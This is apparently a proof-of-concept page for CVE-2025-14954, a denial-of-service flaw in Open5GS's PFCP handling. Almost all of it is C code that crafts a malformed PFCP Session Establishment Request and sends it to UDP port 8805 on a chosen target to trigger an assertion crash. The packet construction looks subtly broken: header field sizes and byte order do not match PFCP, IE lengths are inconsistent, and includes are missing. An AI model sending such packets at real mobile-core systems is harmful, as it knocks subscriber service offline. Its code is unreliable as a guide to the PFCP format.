Open5GS PFCP协议QER/FAR/URR/PDR对象可达断言拒绝服务漏洞(CVE-2025-14954)

/* * CVE-2025-14954 PoC - Open5GS PFCP Reachable Assertion * Target: Open5GS <= 2.7.6 * This PoC demonstrates sending a crafted PFCP Session Establishment Request * that triggers assertion in ogs_pfcp_pdr_find_or_add/ogs_pfcp_far_find_or_add/etc. * * Note: This is for educational and authorized testing purposes only. * Requires network access to the target UPF PFCP port (8805/UDP by default). */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> /* PFCP IE types */ #define PFCP_IE_NODE_ID 56 #define PFCP_IE_F_SEID 57 #define PFCP_IE_PDR_ID 60 #define PFCP_IE_CREATE_PDR 1 #define PFCP_IE_CREATE_FAR 3 #define PFCP_IE_CREATE_URR 7 #define PFCP_IE_CREATE_QER 11 #pragma pack(push, 1) typedef struct { uint8_t flags; uint16_t message_type; uint32_t message_length; uint64_t seid; } pfcp_header_t; typedef struct { uint16_t ie_type; uint16_t ie_length; uint8_t instance; uint8_t flags; } pfcp_ie_header_t; #pragma pack(pop) void create_pfcp_session_establishment(uint8_t *buffer, size_t *len) { pfcp_header_t *hdr = (pfcp_header_t *)buffer; size_t offset = sizeof(pfcp_header_t); /* PFCP Header - Session Establishment Request */ hdr->flags = 0x20; /* S flag = 1, SEID present */ hdr->message_type = 0x32; /* Session Establishment Request */ hdr->message_length = 0; /* Will update later */ hdr->seid = 0x0000000100000001ULL; /* Source SEID */ /* IE: Node ID */ pfcp_ie_header_t *node_ie = (pfcp_ie_header_t *)(buffer + offset); node_ie->ie_type = PFCP_IE_NODE_ID; node_ie->ie_length = 5; node_ie->instance = 0; node_ie->flags = 0x01; /* IPv4 */ *(buffer + offset + 4) = 127; *(buffer + offset + 5) = 0; *(buffer + offset + 6) = 0; *(buffer + offset + 7) = 1; offset += 8; /* IE: Create PDR - Trigger assertion by duplicate ID */ pfcp_ie_header_t *pdr_ie = (pfcp_ie_header_t *)(buffer + offset); pdr_ie->ie_type = PFCP_IE_CREATE_PDR; pdr_ie->ie_length = 10; pdr_ie->instance = 0; offset += 4; /* PDR ID sub-IE */ pfcp_ie_header_t *pdr_id = (pfcp_ie_header_t *)(buffer + offset); pdr_id->ie_type = PFCP_IE_PDR_ID; pdr_id->ie_length = 2; pdr_id->instance = 0; *(uint16_t *)(buffer + offset + 4) = 0xFFFF; /* Invalid ID to trigger assertion */ offset += 6; /* Update message length */ hdr->message_length = offset - sizeof(pfcp_header_t); *len = offset; } int main(int argc, char *argv[]) { int sock; struct sockaddr_in target; uint8_t packet[1024]; size_t pkt_len; if (argc < 2) { printf("Usage: %s <target_ip>\n", argv[0]); return 1; } sock = socket(AF_INET, SOCK_DGRAM, 17); /* UDP */ if (sock < 0) { perror("socket"); return 1; } memset(&target, 0, sizeof(target)); target.sin_family = AF_INET; target.sin_port = htons(8805); target.sin_addr.s_addr = inet_addr(argv[1]); create_pfcp_session_establishment(packet, &pkt_len); printf("Sending crafted PFCP Session Establishment to %s:8805\n", argv[1]); printf("Packet size: %zu bytes\n", pkt_len); if (sendto(sock, packet, pkt_len, 0, (struct sockaddr *)&target, sizeof(target)) < 0) { perror("sendto"); return 1; } printf("Packet sent. Target may crash or log assertion failure.\n"); close(sock); return 0; }